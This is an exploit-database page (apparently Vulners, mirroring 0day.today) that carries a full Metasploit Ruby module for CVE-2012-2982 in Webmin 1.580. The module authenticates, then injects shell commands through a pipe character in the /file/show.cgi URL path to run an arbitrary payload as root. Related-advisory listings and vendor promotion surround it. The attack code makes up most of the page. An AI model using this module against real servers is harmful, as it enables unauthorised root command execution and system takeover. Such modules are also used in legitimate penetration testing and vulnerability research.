Lucene search
+L

Webmin /file/show.cgi Remote Command Execution

🗓️ 17 Sep 2012 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 63 Views

Webmin /file/show.cgi remote command execution vulnerability in Webim 1.580 over Ubuntu 10.0

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
Webmin <= 1.580 Multiple Input-Validation Vulnerabilities (deprecated)
1 May 201300:00
nessus
nessus
Tenable Nessus
Mandriva Linux Security Advisory : webmin (MDVSA-2014:062)
18 Mar 201400:00
nessus
nessus
Tenable Nessus
Webmin <= 1.590 Multiple Vulnerabilities
19 Sep 201800:00
nessus
githubexploit
GithubExploit
Exploit for CVE-2012-2982
5 Jan 202614:43
githubexploit
circl
Circl
CVE-2012-2982
10 Oct 201200:00
circl
checkpoint_advisories
Check Point Advisories
Webmin show.cgi Command Execution (CVE-2012-2982)
13 Jan 201300:00
checkpoint_advisories
cve
CVE
CVE-2012-2982
11 Sep 201218:00
cve
cvelist
Cvelist
CVE-2012-2982
11 Sep 201218:00
cvelist
exploitdb
Exploit DB
Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit)
10 Oct 201200:00
exploitdb
kitploit
Kitploit
CVE-2012-2982
5 Sep 202616:20
kitploit
Rows per page
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin /file/show.cgi Remote Command Execution',
      'Description'    => %q{
          This module exploits an arbitrary command execution vulnerability in Webmin
        1.580. The vulnerability exists in the /file/show.cgi component and allows an
        authenticated user, with access to the File Manager Module, to execute arbitrary
        commands with root privileges. The module has been tested successfully with Webim
        1.580 over Ubuntu 10.04.
      },
      'Author'         => [
        'Unknown', # From American Information Security Group
        'juan vazquez' # Metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '85248'],
          ['BID', '55446'],
          ['CVE', '2012-2982'],
          ['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],
          ['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl bash telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Webim 1.580', { }]],
      'DisclosureDate' => 'Sep 06 2012',
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(10000),
          OptBool.new('SSL', [true, 'Use SSL', true]),
          OptString.new('USERNAME',  [true, 'Webmin Username']),
          OptString.new('PASSWORD',  [true, 'Webmin Password'])
        ], self.class)
  end

  def check

    peer = "#{rhost}:#{rport}"

    print_status("#{peer} - Attempting to login...")

    data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

    res = send_request_cgi(
      {
        'method'  => 'POST',
        'uri'     => "/session_login.cgi",
        'cookie'  => "testing=1",
        'data'    => data
      }, 25)

    if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
      print_good "#{peer} - Authentication successful"
      session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
    else
      print_error "#{peer} - Authentication failed"
      return Exploit::CheckCode::Unknown
    end

    print_status("#{peer} - Attempting to execute...")

    command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"

    res = send_request_cgi(
      {
        'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
        'cookie'  => "sid=#{session}"
      }, 25)


    if res and res.code == 200 and res.message =~ /Document follows/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end

  end

  def exploit

    peer = "#{rhost}:#{rport}"

    print_status("#{peer} - Attempting to login...")

    data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

    res = send_request_cgi(
      {
        'method'  => 'POST',
        'uri'     => "/session_login.cgi",
        'cookie'  => "testing=1",
        'data'    => data
      }, 25)

    if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
      session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
      if session and not session.empty?
        print_good "#{peer} - Authentication successfully"
      else
        print_error "#{peer} - Authentication failed"
        return
      end
      print_good "#{peer} - Authentication successfully"
    else
      print_error "#{peer} - Authentication failed"
      return
    end

    print_status("#{peer} - Attempting to execute the payload...")

    command = payload.encoded

    res = send_request_cgi(
      {
        'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
        'cookie'  => "sid=#{session}"
      }, 25)


    if res and res.code == 200 and res.message =~ /Document follows/
      print_good "#{peer} - Payload executed successfully"
    else
      print_error "#{peer} - Error executing the payload"
      return
    end

  end

end



#  0day.today [2018-03-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation